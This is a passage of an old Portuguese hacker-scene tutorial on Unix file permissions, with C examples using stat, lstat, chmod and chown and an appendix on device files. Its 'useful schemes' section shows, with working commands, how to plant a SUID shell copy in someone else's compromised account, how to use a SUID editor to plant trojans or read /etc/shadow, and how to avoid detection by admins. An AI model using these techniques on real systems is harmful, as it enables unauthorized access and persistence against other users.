-&gt; lstat: faz a mesmíssima coisa que stat porém quando o file_name é um link<br />
a função stat() armazena em buf informações sobre o arquivo<br />
apontado pelo link, já lstat() armazena em buf informações sobre<br />
o próprio link.</span></p>
<p><span style="color:#000000;">Como podemos ver na página man destas funções a estrutura stat está<br />
definida da seguinte forma:</span></p>
<p><span style="color:#000000;">struct stat<br />
{<br />
dev_t         st_dev;      /* device */<br />
ino_t         st_ino;      /* inode */<br />
mode_t        st_mode;     /* protection */<br />
nlink_t       st_nlink;    /* number of hard links */<br />
uid_t         st_uid;      /* user ID of owner */<br />
gid_t         st_gid;      /* group ID of owner */<br />
dev_t         st_rdev;     /* device type (if inode device) */<br />
off_t         st_size;     /* total size, in bytes */<br />
unsigned long st_blksize;  /* blocksize for filesystem I/O */<br />
unsigned long st_blocks;   /* number of blocks allocated */<br />
time_t        st_atime;    /* time of last access */<br />
time_t        st_mtime;    /* time of last modification */<br />
time_t        st_ctime;    /* time of last change */<br />
};</span></p>
<p><span style="color:#000000;">Vamos agora analisar cada elemento desta estrutura.<br />
st_dev: o dispositivo em qual o arquivo está gravado, para ver o &#8220;major and<br />
minor numbers&#8221; use as macros major() e minor() definidas em<br />
sysmacros.h. OBS.: Se você não sabe o que isto significa<br />
leia o Apêndice.<br />
st_ino: o inode que guarda as informações sobre o arquivo (cada arquivo<br />
está relacionado a um único inode).<br />
st_mode: serve para ver o tipo do arquivo (se é diretório, dispositivo de<br />
bloco, etc) e também para ver as permissões. Para tais finalidades<br />
são necessários alguns artifícios que veremos no código abaixo.<br />
st_nlink: número de hard links para o arquivo. O mínimo é 1 (pelo menos<br />
se o arquivo existir :P ) a cada hard link soma mais 1.<br />
st_uid, st_gid: ID do dono e ID do grupo, respectivamente (duh!).<br />
st_rdev: se o arquivo é um dispositivo de bloco ou de caracteres o st_rdev<br />
irá armazenar os números maior e menor do dispositivo.<br />
A diferença deste para o st_dev é que, por exemplo, o *arquivo de<br />
dispositvo* /dev/hdd está gravado (aqui na minha máquina) em<br />
/dev/hda2, então st_dev contém os números &#8220;maior&#8221; e &#8220;menor&#8221; do<br />
/dev/hda2 ao passo que st_rdev contém os números maior e menor<br />
do próprio /dev/hdd.<br />
st_size: tamanho do arquivo em bytes (duh!)<br />
st_blksize: é o tamanho do bloco que o sistema de arquivos usa para E/S,<br />
é usado por alguns programas para que haja uma melhor<br />
&#8220;bufferização&#8221;.<br />
st_blocks: o número de blocos físicos que estão sendo usados por este arquivo<br />
no disco.<br />
st_atime: contém o dia/ano/mês/hora/&#8230; do último acesso a este arquivo<br />
(leitura e/ou execução).<br />
st_mtime: contém o dia/ano/mês/hora/&#8230; da última modificação feita no<br />
arquivo.<br />
st_ctime: contém /dia/ano/mês/hora/&#8230; da última alteração feita *no inode*.<br />
Note que se você modificar o arquivo você estará alterando o inode<br />
também, mas se mudar o inode não quer dizer que esteja alterando o<br />
arquivo (ex.: através de chmod, chown, etc&#8230;). O que quero dizer é<br />
que se alterar st_mtime automaticamente alterará st_ctime, mas o<br />
contrário nem sempre acontece.</span></p>
<p><span style="color:#000000;">Bom&#8230; Acho que é melhor um código-fonte de exemplo que assim é a melhor<br />
maneira de pegar as coisas. ;) Muita atenção nos comentários!</span></p>
<p><span style="color:#000000;">/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; */<br />
&lt;++&gt; Permissoes/filestat.c<br />
#include &lt;stdio.h&gt;              /* Essa você deve saber pra que serve. :P */<br />
#include &lt;sys/stat.h&gt;           /* Necessaria para usar lstat() */<br />
#include &lt;sys/sysmacros.h&gt;      /* Para usar major() e minor() */<br />
#include &lt;sys/types.h&gt;          /* Para declarar variável do tipo mode_t */<br />
#include &lt;time.h&gt;               /* Para usar ctime() */</span></p>
<p><span style="color:#000000;">#define TRUE  1<br />
#define FALSE 0<br />
#define PERMS 07777</span></p>
<p><span style="color:#000000;">/* Como foi dito, a variável st_mode armazena num só inteiro o tipo do<br />
arquivo e suas permissões. E é por isso que a gente precisa usar os<br />
bitmasks diferentes para quando queremos ver o tipo do arquivo e para<br />
ver as permissões do arquivo. A macro PERMS declarada acima é para se<br />
&#8220;traduzir&#8221; as permissões. */</span></p>
<p><span style="color:#000000;">char *FileType (mode_t tipo);</span></p>
<p><span style="color:#000000;">unsigned short int isdev = FALSE; /* Isso é só pra verificar se o<br />
arquivo é um dispositivo. */</span></p>
<p><span style="color:#000000;">int main (int argc, char **argv) {<br />
struct stat arq;</span></p>
<p><span style="color:#000000;">if (argc != 2)<br />
{<br />
printf (&#8220;Uso: %s &lt;arquivo&gt;n&#8221;, argv[0]);<br />
exit (-1);<br />
}</span></p>
<p><span style="color:#000000;">if (lstat (argv[1], &amp;arq))<br />
{<br />
perror (argv[1]);<br />
exit (1);<br />
}</span></p>
<p><span style="color:#000000;">printf (&#8220;Nome do arquivo:t%sn&#8221;, argv[1]);<br />
printf (&#8220;Inode:ttt%dn&#8221;, arq.st_ino);<br />
printf (&#8220;Tipo do Arquivo:t%sn&#8221;, FileType (arq.st_mode));</span></p>
<p><span style="color:#000000;">if (!isdev) { /* Se NÃO for um dispositivo&#8230; */<br />
printf (&#8220;Tamanho:tt%d bytes, %d blocosn&#8221;, arq.st_size, arq.st_blocks);<br />
printf (&#8220;Bloco de E/S:tt%d bytesn&#8221;, arq.st_blksize);<br />
printf (&#8220;Dispositivo onde está salvo: tmaior: %d,&#8221;, major (arq.st_dev));<br />
printf (&#8221; menor: %dn&#8221;, minor (arq.st_dev));<br />
}<br />
/* Nos dois printf&#8217;s acima e nos dois abaixo foram usadas as macros<br />
major() e minor(), ambas declaradas em &lt;sys/sysmacros.h&gt;, estas<br />
macros servem para retornar os números maior e menor do dispositivo<br />
(Ver no Apêndice mais sobre estes números). */</span></p>
<p><span style="color:#000000;">else { /* Se for um dispositivo&#8230; */<br />
printf (&#8220;Dispositivo verdadeiro: tmaior: %d,&#8221;, major (arq.st_rdev));<br />
printf (&#8221; menor: %dn&#8221;, minor (arq.st_rdev));<br />
}</span></p>
<p><span style="color:#000000;">printf (&#8220;Permissões:tt%04on&#8221;, arq.st_mode &amp; PERMS);<br />
/* Olhe aí a macro PERMS (que eu defini lá no começo) sendo usada. Ela<br />
está sendo usada aqui para ver as permissões no formato octal (ver<br />
tabelinhas do tópico 3.1.) portanto use sempre o formato &#8220;%o&#8221; para<br />
imprimir com printf() (de preferência &#8220;%04o&#8221; para mostrar os 0&#8217;s a<br />
esquerda). Lembre-se que sempre que for fazer esta &#8220;tradução&#8221; usar<br />
sempre 5 dígitos sendo que o primeiro dígito seja um &#8216;0&#8242;, para que o<br />
compilador entenda que é um octal. */</span></p>
<p><span style="color:#000000;">printf (&#8220;Numero de Hard Links:t%dn&#8221;, arq.st_nlink);<br />
printf (&#8220;UserID: %d,tGroupID: %dn&#8221;, arq.st_uid, arq.st_gid);<br />
printf (&#8220;Último acesso:ttt%s&#8221;, ctime (&amp;arq.st_atime));<br />
printf (&#8220;Última modificação:tt%s&#8221;, ctime (&amp;arq.st_mtime));<br />
printf (&#8220;Última alteração no inode:t%s&#8221;, ctime (&amp;arq.st_ctime));<br />
/* Nos 3 printf&#8217;s acima usei ctime() para imprimir o<br />
timestamp bonitinho. */</span></p>
<p><span style="color:#000000;">return 0;<br />
}</span></p>
<p><span style="color:#000000;">char *FileType (mode_t tipo) {<br />
switch (tipo &amp; S_IFMT) { /* Para saber o tipo do arquivo é necessário usar<br />
o S_IFMT. Detalhes sobre esta e outras macros<br />
definidas em &lt;sys/stat.h&gt; podem ser vistos na<br />
manpage do stat(). */<br />
case S_IFDIR:<br />
return &#8220;Diretório&#8221;;<br />
case S_IFREG:<br />
return &#8220;Arquivo Normal&#8221;;<br />
case S_IFSOCK:<br />
return &#8220;Socket&#8221;;<br />
case S_IFLNK:<br />
return &#8220;Link Simbólico&#8221;;<br />
case S_IFBLK:<br />
isdev = TRUE;<br />
return &#8220;Dispositivo de Bloco&#8221;;<br />
case S_IFCHR:<br />
isdev = TRUE;<br />
return &#8220;Dispositivo de Caracter&#8221;;<br />
case S_IFIFO:<br />
isdev = TRUE;<br />
return &#8220;FIFO&#8221;;<br />
}<br />
return NULL;<br />
}</span></p>
<p><span style="color:#000000;">/* * * EOF * * */<br />
&lt;&#8211;&gt;<br />
/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; */</span></p>
<p><span style="color:#000000;">Note que eu usei a função lstat(), pois estou querendo informações sobre<br />
o próprio link (se o arquivo for um link!) e não sobre o arquivo apontado por<br />
ele. Para se usar a função fstat() você faria algo mais ou menos assim<br />
(só um trechinho):</span></p>
<p><span style="color:#000000;">/* -=-=-= usando fstat =-=-=- */<br />
&#8230;<br />
int fd;<br />
&#8230;<br />
fd = open(argv[1], O_RDONLY); /* isso normalmente fica dentro de um &#8216;if&#8217; */<br />
fstat (fd, &amp;arq);             /* e isso também ;) */<br />
&#8230;<br />
/* -=-=-= usando fstat =-=-=- */</span></p>
<p><span style="color:#000000;">4.2. Mudando Permissões<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></p>
<p><span style="color:#000000;">Para mudar as permissões de um arquivo você pode usar as seguintes funções:</span></p>
<p><span style="color:#000000;">int chmod(const char *path, mode_t mode);<br />
int fchmod(int fildes, mode_t mode);</span></p>
<p><span style="color:#000000;">-&gt; chmod: muda as permissões do arquivo/diretório path setando para mode.<br />
-&gt; fchmod: igual chmod porém usando fildes (file descriptor) para mudar as<br />
permissões do arquivo.</span></p>
<p><span style="color:#000000;">Em ambas funções você usa o caminho do arquivo que você quer modificar<br />
como primeiro parâmetro. E para &#8220;mode&#8221; (o segundo parâmetro) você deve usar<br />
as macros definidas em stat.h ou um número octal de 5 dígitos (sempre de 5<br />
dígitos!). Você pode ver as macros na página man das funções stat.<br />
Evidentemente você só pode mudar as permissões de arquivos que lhe<br />
pertençam (a não ser que você seja super-usuário).</span></p>
<p><span style="color:#000000;">Para mudar as posses do arquivo (vulgo ownership) você usa as seguintes<br />
funções:</span></p>
<p><span style="color:#000000;">int chown(const char *path, uid_t owner, gid_t group);<br />
int fchown(int fd, uid_t owner, gid_t group);<br />
int lchown(const char *path, uid_t owner, gid_t group);</span></p>
<p><span style="color:#000000;">-&gt; chown: mudar a proprietário do path para owner e o grupo para group.<br />
-&gt; fchown: mesmo esquema só que tem aquele lance do file descriptor.<br />
-&gt; lchown: mesmo esquema só que tem aquele lance de alterar o próprio link<br />
ao invés de alterar o arquivo apontado pelo link.</span></p>
<p><span style="color:#000000;">Nestas funções o primeiro parâmetro é o caminho do arquivo. O segundo e o<br />
terceiro parâmetro é, respectivamente, o UID e GID que você quer atribuir ao<br />
arquivo. Quando você não quer mudar o UID ou o GID é só você usar -1.<br />
Ainda existem algumas limitações:<br />
-&gt; Apenas o super-usuário pode mudar o proprietário do arquivo;<br />
-&gt; O proprietário do arquivo pode mudar o grupo do arquivo para qualquer<br />
um que ele faça parte;<br />
-&gt; O super-usuário pode mudar o grupo do arquivo para qualquer um.</span></p>
<p><span style="color:#000000;">Olhe este pequenino programinha (sem muita utilidade) só pra ver qual é o<br />
esquema:</span></p>
<p><span style="color:#000000;">/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; */<br />
&lt;++&gt; Permissoes/mudar_permissoes.c<br />
#include &lt;stdio.h&gt;<br />
#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;</span></p>
<p><span style="color:#000000;">#define PERMS 07777<br />
#define GRUPO 666       /* O grupo que eu quero que o arquivo pertença */<br />
#define MODE 04555      /* Permissões que eu quero que o arquivo tenha */</span></p>
<p><span style="color:#000000;">int main (int argc, char **argv) {<br />
struct stat arq;</span></p>
<p><span style="color:#000000;">if (argc != 2) {<br />
printf (&#8220;Uso: %s &lt;arquivo&gt;n&#8221;, argv[0]);<br />
exit (-1);<br />
}</span></p>
<p><span style="color:#000000;">if (lstat(argv[1], &amp;arq)) {<br />
perror (argv[1]);<br />
exit (1);<br />
}</span></p>
<p><span style="color:#000000;">printf (&#8220;ANTES:n&#8221;);<br />
printf (&#8220;tOwnership -&gt; UID: %d,tGID: %dn&#8221;, arq.st_uid, arq.st_gid);<br />
printf (&#8220;tPermissões: %04onn&#8221;, arq.st_mode &amp; PERMS);</span></p>
<p><span style="color:#000000;">if (lchown (argv[1], -1, GRUPO)) perror (&#8220;lchown&#8221;);<br />
if (chmod (argv[1], MODE)) perror (&#8220;chmod&#8221;);</span></p>
<p><span style="color:#000000;">lstat (argv[1], &amp;arq);<br />
printf (&#8220;DEPOIS:n&#8221;);<br />
printf (&#8220;tOwnership -&gt; UID: %d,tGID: %dn&#8221;, arq.st_uid, arq.st_gid);<br />
printf (&#8220;tPermissões: %04on&#8221;, arq.st_mode &amp; PERMS);</span></p>
<p><span style="color:#000000;">return 0;<br />
}<br />
&lt;&#8211;&gt;<br />
/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; */</span></p>
<p><span style="color:#000000;">O programa mudará o grupo do arquivo para 666, se este GID não existir no<br />
sistema o lchown não funcionará como desejado. O programa muda também a<br />
permissão do arquivo para &#8220;r-sr-xr-x&#8221;, ou se preferir: 4555, de acordo com a<br />
macro MODE definida lá em cima. Por exemplo: se você quiser tornar um<br />
arquivo/diretório com acesso de leitura e execução para todo mundo você faria<br />
o seguinte:<br />
chmod (&#8220;arquivo&#8221;, 00555);<br />
Nunca se esqueça: são sempre 5 dígitos para ser certinho!</span></p>
<p><span style="color:#000000;">Bom&#8230; é isso&#8230; teste uns esquemas ae e divirta-se. Com estas funções<br />
dá pra fazer uns lances bem legais pra você verificar arquivos &#8220;perigosos&#8221;<br />
com frequência. Enfim&#8230; tenha imaginação!</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">5. Esquemas Úteis<br />
^^^^^^^^^^^^^^</span></p>
<p><span style="color:#000000;">Vamos ver aqui umas coisinhas interessantes de se fazer usando SUID.<br />
Antes vou logo avisando que para que as coisas mostradas neste tópico tenham<br />
alguma graça você terá que adquirir nível de outro usuário. Se não sabe como<br />
fazer isso&#8230; bem amigo&#8230; FUCE!</span></p>
<p><span style="color:#000000;">Digamos que você conseguiu acessar a conta de outro usuário. Não perca<br />
tempo! Copie um shell e atribua SUID a ele<br />
No exemplo abaixo imagine que eu seja &#8220;hack&#8221; mas consegui acessar a conta<br />
do usuário &#8220;meleu&#8221; (não! isso não é crise de identidade!). Então eu vou e<br />
copio um shell e atribuo SUID a ele. Veja:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ id<br />
uid=1000(meleu) gid=100(users) groups=100(users),666(hack)<br />
meleu:~$ cp /bin/ash /tmp/exemplo<br />
meleu:~$ chmod +s /tmp/exemplo<br />
meleu:~$ ls -l /tmp/exemplo<br />
-rwsr-sr-x    1 meleu    users       59628 Dec  9 23:47 /tmp/exemplo*<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Pronto. Agora eu entro no sistema como o usuário hack e&#8230; Veja você<br />
mesmo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
hack:/tmp$ id<br />
uid=1005(hack) gid=100(users) groups=100(users),666(hack)<br />
hack:/tmp$ ls -l exemplo<br />
-rwsr-sr-x    1 meleu    users       59628 Dec  9 23:47 exemplo*<br />
hack:/tmp$ ./exemplo<br />
u:w$ id<br />
uid=1005(hack) gid=100(users) euid=1000(meleu) groups=100(users),666(hack)<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Reparaste que o EUID mudou né? Reparaste também que o PS1 no ash não se<br />
comporta como no bash? :P<br />
Agora eu (hack) tenho acesso a tudo que meleu também tem. Mas felizmente<br />
existem programadores que são pessoas preocupadas com a segurança e alguns<br />
programas não funcionam quando você está com EUID de outro usuário. Este é o<br />
caso do programa &#8220;ps&#8221;. Veja o exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
u:w$ id<br />
uid=1005(hack) gid=100(users) euid=1000(meleu) groups=100(users),666(hack)<br />
u:w$ ps x<br />
This /bin/ps is not secure for setuid operation.<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Sacaste?</span></p>
<p><span style="color:#000000;">OBSERVAÇÃO:<br />
Em versões anteriores deste texto eu afirmei que este esquema não<br />
funcionava no bash. Mas recentemente, fuçando a manpage dele, eu li que se<br />
usarmos a opção &#8220;-p&#8221; o comportamento dele para com o effective user id é<br />
diferente do que se não for passado parâmetro algum. Desta forma, é<br />
possível sim, fazer uma cópia de /bin/bash e atribuir SUID a esta cópia e<br />
depois executá-la com a opção &#8220;-p&#8221;. Fiz meus testes com a versão 3.1.17.<br />
Faça alguns testes no seu sistema aí e observe que interessante. ;-)</span></p>
<p><span style="color:#000000;">Este esquema eu testei no tcsh 6.08, bash 3.1.17, ash (não sei a versão),<br />
zsh 3.0.6, e pdksh 5.2.12 (Public Domain Korn Shell). Só funcionou no ash,<br />
zsh, pdksh, e no bash utlizando-se a opção &#8220;-p&#8221; na linha de comando.</span></p>
<p><span style="color:#000000;">Também é possível fazer outras coisas muito interessantes&#8230;<br />
Uma boa a se fazer é copiar e atribuir SUID a um editor de textos. Só<br />
testei este esquema com o &#8220;vi&#8221; (o editor mais fácil de se achar nos sistemas<br />
que existem por aí). Tendo um editor com SUID você pode editar/criar<br />
arquivos como se fosse o outro usuário. Consequentemente você pode<br />
editar/criar um profile para a &#8220;vítima&#8221;, e quando falamos nisso logo<br />
pensamos em (tchan tchan tchan!) Trojan Horses. E se você tiver um editor<br />
SUID para root você pode mecher nos arquivos de configuração do sistema<br />
(geralmente localizados em /etc ), visualizar o tão cobiçado /etc/shadow e<br />
mais uma infinidade de coisas.<br />
Isso foi só um pontapé inicial. Não vou ensinar aqui como editar profiles<br />
e nem como fazer Trojans. Mas posso te indicar onde aprender: para aprender<br />
a fazer/editar profiles você tem que aprender shell script e para aprender a<br />
fazer Trojans você tem que aprender a programar. Existem diversos textos<br />
sobre o assunto, inclusive em http://unsekurity.virtualave.net (Veja mais em<br />
6. Referências).</span></p>
<p><span style="color:#000000;">ATENÇÃO: Se o administrador do sistema tiver um mínimo de competência ele<br />
rodará um find (ver tópico 3.3.) com frequência para dar uma monitorada nos<br />
arquivos SUID. Portanto não fique dando bobeira usando estes esquemas tão<br />
&#8220;fuleiros&#8221;.</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">6. Referências<br />
^^^^^^^^^^^</span></p>
<p><span style="color:#000000;">Dominando o Linux -&gt; Foi onde li sobre as permissões básicas e sobre<br />
arquivos de dispositivo (do Apêndice). Este livro<br />
já foi A Bíblia do linux, hoje em dia não sei. Estou<br />
meio desatualizado. Podia ser comprado em<br />
http://www.lcm.com.br<br />
Hoje em dia não tem mais. Mas para quem lê bem em<br />
inglês, vai em irc.nullus.net e entra no canal #bw<br />
;-) Satisfação garantida!</span></p>
<p><span style="color:#000000;">Security-HOWTO -&gt; Li sobre SUID, SGID, e sticky bit. Você pode encontrar em<br />
http://www.tldp.org ou /usr/doc/Linux-HOWTOs</span></p>
<p><span style="color:#000000;">Tips-HOWTO -&gt; A dica sobre o immutable flag encontra-se neste documento na<br />
seção 3.3. Pode ser consultado em http://www.tldp.org ou<br />
/usr/doc/Linux-HOWTOs</span></p>
<p><span style="color:#000000;">Bash-Prog-Intro-HOWTO &#8212;&#8212;&#8212;,-&gt; Textos sobre shell script. Úteis para você<br />
Advanced Bash-Scripting Guide -&#8217;   aprender a criar/editar profiles. Ambos se<br />
encontram em http://www.tldp.org</span></p>
<p><span style="color:#000000;">Cursos de Linguagem C -&gt; Dois ótimos lugares para se aprender a programar em<br />
Linguagem C: (português)<br />
http://ead1.eee.ufmg.br/cursos/C<br />
e (inglês, muito bom! voltado especificamente para<br />
ambiente UNIX)<br />
http://www.cs.cf.ac.uk/Dave/C/CE.html</span></p>
<p><span style="color:#000000;">Backdoors e Trojans -&gt; Bom texto que explica sobre como fazer backdoors e<br />
trojan horses, feito pelo NashLeon, algumas usando<br />
e abusando da permissão SUID. Como não existe mais<br />
a página da unsekurity scene, aí vai um mirror<br />
http://www.ataliba.net/sections/old-hacking/unsekurity<br />
Gostaria de externar o meu mais profundo<br />
agradecimento ao cara que teve a excelente idéia<br />
de fazer um mirror dos arquivos da unsek. Seria<br />
uma grande perda&#8230;</span></p>
<p><span style="color:#000000;">Barata Eletrica n. 20 -&gt; Tem um texto sobre UNIX e foi lá que eu vi<br />
aquelas tabelas do topic 3.2. A URL é<br />
http://www.inf.ufsc.br/barata/</span></p>
<p><span style="color:#000000;">CoreZine n. 01 -&gt; Li sobre a parte de C. A CoreZine não existe mais e não<br />
achei mirror algum via google. Achei um arquivo onde<br />
tem o texto que usei:<br />
http://www.abunasar.net/mirrors/h0h0.com/hwa/hwa-hn52.txt</span></p>
<p><span style="color:#000000;">man pages -&gt; Sobre os comandos do tópico 3 e as system calls.</span></p>
<p><span style="color:#000000;">Linux Allocated Devices -&gt; Maiores detalhes sobre os arquivos de<br />
dispositivo. Você pode encontrar em<br />
/usr/src/linux/Documentation/devices.txt</span></p>
<p><span style="color:#000000;">www.rootthisbox.org -,-&gt; Dê uma olhada aqui se quiser saber mais<br />
www.pulltheplug.com -|   sobre wargames (OBS: vale muito a pena!!).<br />
www.hackerslab.org &#8211;&#8217;</span></p>
<p><span style="color:#000000;">extinta mail list da unsekurity -&gt; Se não fosse a mail list esse texto seria<br />
um lixo ou até mesmo nem sairia!<br />
Infelizmente (ou felizmente, depende do<br />
ponto de vista) a lista não existe mais.</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">7. Considerações Finais<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p><span style="color:#000000;">Bem como esse texto é pro pessoal que está bem no começo mesmo vou dar<br />
uma dica em forma de relato &#8220;baseado em fatos reais&#8221;. :P</span></p>
<p><span style="color:#000000;">O lance é que quando eu comecei a estudar profundamente permissões de<br />
arquivos eu comecei a fuçar nos txts da vida e determinado assunto puxava<br />
outro, e para compreender melhor o outro tinha que ler outro mais (arquivos<br />
de dispositivo é um exemplo)&#8230; e por aí vai&#8230; E de tanto ir saltando de<br />
txt em txt eu acabava aprendendo um monte de coisa útil.<br />
Onde quero chegar?!<br />
Estou querendo dizer que ao invés de ficar procurando ajuda em canais de<br />
IRC você tem que correr atrás das infos você mesmo ou pedir indicação de um<br />
txt pra alguém&#8230; Você acaba aprendendo muitas outras coisas!<br />
É lógico que não é todo mundo que dispõe de tempo pra ficar fazendo isso.<br />
Portanto não pense que estou condenando quem fica pedindo ajuda&#8230; As vezes<br />
precisamos de uma solução rápida e talz&#8230; Mas conseguir aprender as coisas<br />
por conta própria a muito gratificante (pelo menos pra mim).<br />
Eu costumava apurrinhar o pessoal da extinta mail list da unsekurity com<br />
dicas de leitura e outras coisas&#8230; Se você, fuçador iniciante, também<br />
encontrar um meio de trocar informações vai sair lucrando! Dividir<br />
experiências com os outros faz a informação fluir mais facilmente e vai que<br />
alguém já passou pelo mesmo problema que você e encontrou um txt sarado<br />
sobre o assunto! =]</span></p>
<p><span style="color:#000000;">Vou terminando aqui&#8230; Um abraço irmãos! E não se esqueçam de ler as<br />
man pages sempre que houver alguma dúvida! ;)</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">Apêndice.<br />
Arquivos de Dispositivo<br />
^^^^^^^^^^^^^^^^^^^^^^^</span></p>
<p><span style="color:#000000;">Os arquivos de dispositivo são um artifício para que os programas possam<br />
interagir com os dispositivos de hardware através do kernel. Eles não são<br />
&#8220;arquivos&#8221; de verdade (ou são?). Mas os programas os usam como se fossem, e<br />
assim o kernel reconhece a solicitação de E/S e envia para o driver<br />
correspondente.<br />
Como vocês já sabem os arquivos de dispositvos ficam no /dev. Ao listar<br />
o conteúdo do /dev com um &#8220;ls -l&#8221; você ve algo incomum. Veja um exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ ls -l /dev/hda2<br />
brw-r&#8212;&#8211;   1 root     disk       3,   2 Apr 27  1995 /dev/hda2<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Você deve ter observado que o primeiro bit das permissões é um &#8216;b&#8217; o que<br />
mostra que é um dispositivo de bloco (ver tópico 3.2.). Mas não é disso que<br />
falo quando digo &#8220;algo incomum&#8221;. Estou falando são destes dois números<br />
separados por uma vírgula (3 e 2). O primeiro valor é o número maior (major)<br />
do dispositivo e o segundo é o número menor (minor). Isso é para que o<br />
kernel saiba que dispositivo está sendo usado. Quando um arquivo de<br />
dispositivo é acessado o kernel recebe essa informação em forma de número<br />
maior e número menor. O maior número especifica um determinado driver de<br />
dispositivo do kernel e o menor número especifica exatamente qual dispositivo<br />
será controlado pelo driver.</span></p>
<p><span style="color:#000000;">Olhe outro exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ ls -l /dev/hda*<br />
brw-r&#8212;&#8211;   1 root     disk       3,   0 Apr 27  1995 /dev/hda<br />
brw-r&#8212;&#8211;   1 root     disk       3,   1 Apr 27  1995 /dev/hda1<br />
brw-r&#8212;&#8211;   1 root     disk       3,  10 Apr 27  1995 /dev/hda10<br />
brw-r&#8212;&#8211;   1 root     disk       3,  11 Apr 27  1995 /dev/hda11<br />
brw-r&#8212;&#8211;   1 root     disk       3,  12 Apr 27  1995 /dev/hda12<br />
brw-r&#8212;&#8211;   1 root     disk       3,  13 Apr 27  1995 /dev/hda13<br />
brw-r&#8212;&#8211;   1 root     disk       3,  14 Apr 27  1995 /dev/hda14<br />
brw-r&#8212;&#8211;   1 root     disk       3,  15 Apr 27  1995 /dev/hda15<br />
brw-r&#8212;&#8211;   1 root     disk       3,  16 Apr 27  1995 /dev/hda16<br />
brw-r&#8212;&#8211;   1 root     disk       3,   2 Apr 27  1995 /dev/hda2<br />
brw-r&#8212;&#8211;   1 root     disk       3,   3 Apr 27  1995 /dev/hda3<br />
brw-r&#8212;&#8211;   1 root     disk       3,   4 Apr 27  1995 /dev/hda4<br />
brw-r&#8212;&#8211;   1 root     disk       3,   5 Apr 27  1995 /dev/hda5<br />
brw-r&#8212;&#8211;   1 root     disk       3,   6 Apr 27  1995 /dev/hda6<br />
brw-r&#8212;&#8211;   1 root     disk       3,   7 Apr 27  1995 /dev/hda7<br />
brw-r&#8212;&#8211;   1 root     disk       3,   8 Apr 27  1995 /dev/hda8<br />
brw-r&#8212;&#8211;   1 root     disk       3,   9 Apr 27  1995 /dev/hda9<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Repare que o número maior de todos são iguais, isso quer dizer que para<br />
todos estes dispositivos é usado o mesmo driver. O número menor indica ao<br />
driver qual é o dispositivo que ele tem que executar sua função.</span></p>
<p><span style="color:#000000;">Para maiores informações consulte a página man do comando mknod e o<br />
arquivo /usr/src/linux/Documentation/device.txt</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-  E O F  &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></p>
<p><span style="color:#000000;">Fonte: <a href="http://www.linuxsecurity.com.br/redir.php?url=http://www.linuxsecurity.com.br/info/unix/permissoes.txt">LinuxSecurity</a></span><br />
<a rel="me" href="http://blogblogs.com.br/api/claim/-657615190/172310/57928"> </a><br />
<span style="color:#000000;">[]&#8217;s</span></div>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/0x66.wordpress.com/13/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/0x66.wordpress.com/13/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/13/" /></a> <a rel="nofollow" 